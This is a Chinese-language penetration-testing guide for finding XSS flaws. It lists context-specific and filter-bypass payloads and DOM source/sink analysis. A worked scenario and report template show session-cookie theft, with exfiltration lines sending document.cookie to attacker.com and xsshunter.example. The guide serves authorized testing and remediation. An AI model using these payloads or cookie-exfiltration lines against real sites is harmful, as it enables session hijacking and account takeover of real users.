testing-for-xss-vulnerabilities

测试 XSS 漏洞

使用场景

• 作为 OWASP WSTG 测试的一部分，测试 Web 应用程序的客户端注入漏洞
• 评估所有应用功能中输入净化和输出编码的有效性
• 评估内容安全策略（CSP）标头针对 XSS 利用提供的保护
• 通过会话劫持、凭据窃取或网络钓鱼覆盖向相关方演示 XSS 的影响
• 测试单页应用程序（React、Angular、Vue）中客户端路由和渲染的 DOM 型 XSS

不适用场景：未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷，或从生产环境中外泄真实用户会话令牌。

前置条件

• 授权范围，定义目标 Web 应用程序和可接受的测试活动
• 安装了 XSS 专用扩展（XSS Validator、Reflector、Active Scan++）的 Burp Suite Professional
• 带开发者工具和 XSS 测试扩展（HackBar、XSS Hunter）的浏览器
• XSS Hunter 或 Burp Collaborator，用于带外载荷验证
• SecLists XSS 载荷列表和 WAF 绕过场景的自定义载荷

工作流程

步骤一：输入和输出映射

映射用户输入进入和被应用程序渲染的每个位置：

• 反射输入：测试每个 URL 参数、搜索字段、错误消息以及响应中被反射的 HTTP 标头值
• 存储输入：识别输入被保存后显示给其他用户的功能：用户个人资料、评论、论坛帖子、文件名、支持工单和聊天消息
• DOM 输入：识别从 location.hash、location.search、document.referrer、window.name、postMessage 或 localStorage 读取并写入 DOM 的客户端 JavaScript
• 输出上下文识别：对每个反射输入，确定渲染上下文：
  • HTML 正文：<div>USER_INPUT</div>
  • HTML 属性：<input value="USER_INPUT">
  • JavaScript 字符串：var x = 'USER_INPUT';
  • URL 上下文：<a href="USER_INPUT">
  • CSS 上下文：<div style="color: USER_INPUT">

步骤二：反射型 XSS 测试

使用适合上下文的载荷测试反射注入点：

• HTML 正文上下文：<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>
• HTML 属性上下文：" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>
• JavaScript 字符串上下文：';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>
• URL/href 上下文：javascript:alert(1)、data:text/html,<script>alert(1)</script>
• HTML 注释内：--><script>alert(1)</script><!--
• 过滤绕过载荷（当基本载荷被阻止时）：
  • 大小写变换：<ScRiPt>alert(1)</sCrIpT>
  • 事件处理器：<details open ontoggle=alert(1)>
  • SVG：<svg><animate onbegin=alert(1) attributeName=x>
  • 编码：<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

步骤三：存储型 XSS 测试

测试向其他用户渲染输入的持久化存储点：

• 向步骤一中识别的每个存储输入字段提交 XSS 载荷
• 在每个载荷中使用唯一标识符跟踪哪些输入触发：<script>alert('XSS-PROFILE-001')</script>
• 检查存储输入被渲染的所有位置（相同输入可能出现在多个页面上）
• 使用包含 JavaScript 的 HTML 文件、带嵌入脚本的 SVG 文件和包含 XSS 载荷的文件名测试文件上传功能
• 通过原始 HTML 模式注入载荷，或在客户端编辑器净化后操控 POST 数据来测试富文本编辑器
• 使用 XSS Hunter 载荷（"><script src=https://yourxsshunter.xss.ht></script>）进行盲存储型 XSS 测试，适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况

步骤四：DOM 型 XSS 测试

分析客户端 JavaScript 中不安全的 DOM 操控：

• 源点识别：在 JavaScript 中搜索读取攻击者控制输入的危险源点：
  • document.location、document.URL、document.referrer
  • location.hash、location.search、location.href
  • window.name、postMessage 事件数据
• 汇点识别：搜索写入 DOM 的危险汇点：
  • innerHTML、outerHTML、document.write()、document.writeln()
  • eval()、setTimeout()、setInterval()、Function()
  • 带事件处理器的 element.setAttribute()、jQuery.html()、.append()、v-html（Vue）、dangerouslySetInnerHTML（React）
• 追踪数据流：跟踪从源点到汇点的路径。若用户控制的输入未经正确净化就到达危险汇点，则存在 DOM 型 XSS
• 框架特定测试：测试 React dangerouslySetInnerHTML、Angular 模板注入（{{constructor.constructor('alert(1)')()}}）、Vue v-html 指令

步骤五：CSP 绕过与高级利用

测试内容安全策略的有效性并演示真实世界影响：

• CSP 分析：审查 CSP 标头的弱点：
  • script-src 中的 unsafe-inline 允许内联脚本
  • unsafe-eval 允许 eval() 和类似函数
  • 通配符域（*.googleapis.com）可能托管可用于 CSP 绕过的 JSONP 端点
  • 未设置 base-uri 允许 <base> 标签注入，重定向相对脚本加载
• JSONP 绕过：若 CSP 允许带 JSONP 端点的域，使用 <script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script>
• 影响演示：
  • 会话劫持：<script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>
  • 凭据网络钓鱼：注入虚假登录表单覆盖层，将表单提交到攻击者服务器
  • 键盘记录：注入捕获页面上键击的 JavaScript
  • 账户接管：使用 XSS 更改受害者的邮箱地址并触发密码重置

核心概念

术语	定义
反射型 XSS	非持久化 XSS，注入的载荷被包含在对同一请求的服务器响应中，需要受害者点击精心构造的 URL
存储型 XSS	持久化 XSS，载荷被保存在服务器上，并服务给查看受影响页面的其他用户
DOM 型 XSS	完全在浏览器中发生的 XSS，当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发
内容安全策略（CSP）	HTTP 响应标头，限制浏览器可以从哪些来源加载脚本、样式和其他资源，提供针对 XSS 的纵深防御
输出编码	将特殊字符转换为其 HTML 实体等效形式（如 < 转为 &lt;），防止浏览器将用户输入解释为代码
汇点（Sink）	若攻击者控制的数据未经净化就到达，可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性

工具与系统

• Burp Suite Professional：带反射型和存储型 XSS 主动扫描的 HTTP 代理，加上用于手动载荷测试的 Repeater 和 Intruder
• XSS Hunter：托管服务，生成在触发时回传截图、Cookie 和 DOM 内容的载荷，对盲存储型 XSS 至关重要
• DOMPurify：开发人员用于防止 XSS 的客户端净化库；测试人员应测试已部署版本的绕过技术
• 浏览器开发者工具：控制台、网络和元素标签，用于追踪 DOM 型 XSS 数据流并实时测试载荷

常见场景

场景：客户支持工单系统中的存储型 XSS

背景：一个电子商务平台有客户支持系统，客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。

方法：

1. 在工单描述中提交带唯一 XSS Hunter 载荷的支持工单
2. 支持代理在管理面板查看工单时载荷触发，将代理的会话 Cookie、页面 DOM 和截图发送到 XSS Hunter 服务器
3. 使用捕获的管理员会话 Cookie 以支持代理身份访问管理面板
4. 从管理面板访问客户记录、订单数据和退款功能
5. 记录攻击链：客户提交工单 -> 代理查看工单 -> XSS 触发 -> 会话被窃取 -> 管理面板被入侵
6. 测试 CSP 是否能阻止该攻击（本例中不存在 CSP 标头）

常见陷阱：

• 仅测试 <script>alert(1)</script> 而遗漏通过事件处理器或非 HTML 上下文触发的 XSS
• 未测试渲染给管理用户的功能中的存储型 XSS（支持工单、管理员查看的用户个人资料）
• 忽略单页应用程序中的 DOM 型 XSS，其中服务端代码安全但客户端渲染存在漏洞
• 未检查可能被记录并在管理员仪表板中渲染的 HTTP 标头（Referer、User-Agent）中的 XSS

输出格式

## 发现：支持工单描述中的存储型 XSS

**ID**: XSS-002
**严重性**: 高危（CVSS 8.1）
**受影响 URL**: POST /api/tickets（提交），GET /admin/tickets/8847（触发）
**参数**: description（POST 请求体）
**XSS 类型**: 存储型（持久化）

**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时，未净化的 HTML 在代理浏览器中渲染，
允许在管理应用上下文中执行任意 JavaScript。

**概念验证**:
提交包含以下载荷的工单：
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">

当代理查看工单时载荷触发，将管理员会话 Cookie 外泄到 XSS Hunter 服务器。

**影响**:
攻击者可窃取支持代理和管理员的会话令牌，获取管理面板的访问权限，
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。

**修复建议**:
1. 使用上下文感知库实施输出编码（OWASP Java Encoder，
   客户端渲染使用 DOMPurify）
2. 部署内容安全策略标头：
   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志，防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入（仅允许安全标签）